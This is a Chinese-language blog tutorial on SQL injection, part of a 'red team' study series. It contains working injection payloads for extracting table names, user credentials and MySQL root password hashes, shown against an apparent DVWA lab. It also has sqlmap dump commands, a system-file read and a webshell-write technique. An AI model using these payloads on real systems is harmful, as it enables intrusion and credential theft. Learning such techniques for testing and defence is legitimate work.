冲击红队第十四天 - SQL 注入漏洞
Posted 在下小黄
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了冲击红队第十四天 - SQL 注入漏洞相关的知识,希望对你有一定的参考价值。
大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
如若转载请注明出处 ,!!!!
今天更新的是:
- 冲击红队第十四天 - SQL 注入漏洞
创建时间:2021年10月5日
冲击红队第十四天 - SQL 注入漏洞
- 拓展:典型的网站架构,LAMP架构是什么?
- 根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源。
- 静态资源就是我们平时说的"前台"信息,包括html/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成。
- 但是对于很多网站来说,大量的数据被存储在mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助"后端脚本"(当然这里是统称,也可以说是后端语言)的力量了。
- 而常见的后端语言就是asp/aspx/php/jsp等,这些语言你可以理解为web服务器和mysql之间的桥梁。
- 对于很多企业来说,最重要的就是数据。而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等。
一、漏洞描述
- Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。
二、MySQL注入的相关知识
- 在 MySQL 5 版本以后,MySQL 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表。
- 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息 。
- columns 存储该用户创建的所有数据库的库名、标名和字段名。
- tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名。
# 在mysql5.0以后,必须要知道的几个表如下:
Information_schema:提供了所有数据库中的元数据,存储了整个mysql中的所有库/表/列名等信息.
Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库访问权限等信息.
Performance_schema:记录了各种日志信息
test:测试库,默认为空
# SCHEMATA表:存储了数据库中所有数据库信息
存储字段:SCHEMA_NAME
# TABLES表:存储了数据库中所有表的信息
字段:TABLE_SCHEMA, TABLE_NAME
# COLUMNS表:存储了数据库中所有列的信息
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
# user_privileges:用户权限信息
MySQL 中的常用的函数:
有关select函数介绍(直接在mysql中进行查询)
语法: select 函数名
select user() #查看当前mysql登录用户
select session_user() #同上
select database() #查看当前使用的mysql数据库名
select @@version #查看当前mysql版本号
select @@basedir #数据库安装路径
select @@datadir #数据库数据存储路径
select @@version_compile_os #操作系统信息
select database(); #查看当前库名;
select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名
select column_name from information_schema.columns where table_schema=database() and table_name='user'; #查询列名
select name,password from user; #获取用户名和密码列
三、SQL 注入原理
SQL 注入漏洞的产生需要满足以下两个条件 :
- 参数用户可控:从前端传给后端的参数内容是用户可以控制的。
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。
举个例子:
- 当用户传入参数为 1’的时候,在数据库执行如下所示:
select * from users where id=1'
此 SQL 语句不符合语法规则就会报错。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
- 当用户传入参数为 1 and 1=1 时:
select * from users where id=1 and 1=1
因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。
- 如果用户传入参数为 1 and 1=2 时:
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的结果。
- 由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,进行攻击,致使信息泄露,甚至获取服务器权限。
判断是否存在注入:
- 回显是指页面有数据 信息返回:
id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
- 无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中 。
三种 SQL 注释符:
# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格
# (url编码为%23)
-- (--后边要跟上一个或多个空格)
/* ..... */
/*! .... */ 内联注释
select * /*!22222from*/ users; #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.
注入流程:
是否存在注入并且判断注入类型
判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\\\wondows\\\\win.ini')#
写入 webshell select..into outfile...
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过
举个例子:
# SQLmap 注入流程:
1. 检查注入点:
sqlmap -u "http://ooxx.com/a.php?id=1"
2. 列数据库信息
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs
3. 指定数据库名列出所有表
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) --tables
4. 指定数据库名表名列出所有字段 (爆破字段)y
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) --columns (全部表)
5. 指定数据库名表名字段dump出指定字段
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) -C columnname(指定字段名) --dump (将结果导出)
6. cookie 注入 --cookie=COOKIE
在需要登录的地方,需要登录后的cookie 执行指定的 SQL 语句 --sql-query=QUERY
代理注入 --proxy="http://127.0.0.1:8087"
SQL 注入分类
SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
- UNION query SQL injection(可联合查询注入)
- Stacked queries SQL injection(可多语句查询注入)堆叠查询
- Boolean-based blind SQL injection(布尔型注入)
- Error-based SQL injection(报错型注入)
- Time-based blind SQL injection(基于时间延迟注入)
根据使用技巧来分类,SQL注入类型可分为:
• 盲注
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
• 报错注入:应用会显示全部或者部分的报错信息
• 堆叠注入:有的应用可以加入 ; 后一次执行多条语句
• 其他类型:
按获取数据的方式分类:
- inband
- 利用 Web 应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
- inference
- 通过 Web 的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注,通过 web 应用的其他改变来推断数据。
- out of band (OOB)
- 通过其他传输方式来获得数据,比如 DNS 解析协议和电子邮件。
接受请求类型区分:
- GET 注入
- GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要 URL 编码
- POST 注入
- POST 请求参数是放在请求 body 里的,长度没有限制
- COOKIE 注入
- cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取
注入数据类型的区分:
- int 整型
select * from users where id=1
- sting 字符型
select * from users where username='admin'
- like 搜索型
select * from news where title like '%标题%
SQL 注入常规思路:
SQL 注入常规注入思路:
1、寻找注入点,可以通过 web 扫描工具实现(可以联动X-ray)
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
3.1 还可以获取数据库的 root 账号 密码—思路
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息。
手工注入常规思路:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数 order by N
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
SQL 详细注入过程:
- 判断注入
1’ or 1=1 #
- 确定列数:
1' order by 2# 正常!
1' order by 3# 报错!
- 猜数据库:
1' union select 1,database()#
payload 利用另一种方式:
1' union select user(),database()#
version()
得到数据库名:dvwa
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能
够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的
时候需要和主查询的列数相同。
- 猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
得到表名:guestbook,users
group_concat 分组
- 猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
(用编码就不用单引号,用单引号就不用编码)
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
- 猜用户数据:
列举出几种 payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
- 猜 root 用户:
1' union select 1,group_concat(user,password) from mysql.user#
得到 root 用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!
以上是关于冲击红队第十四天 - SQL 注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章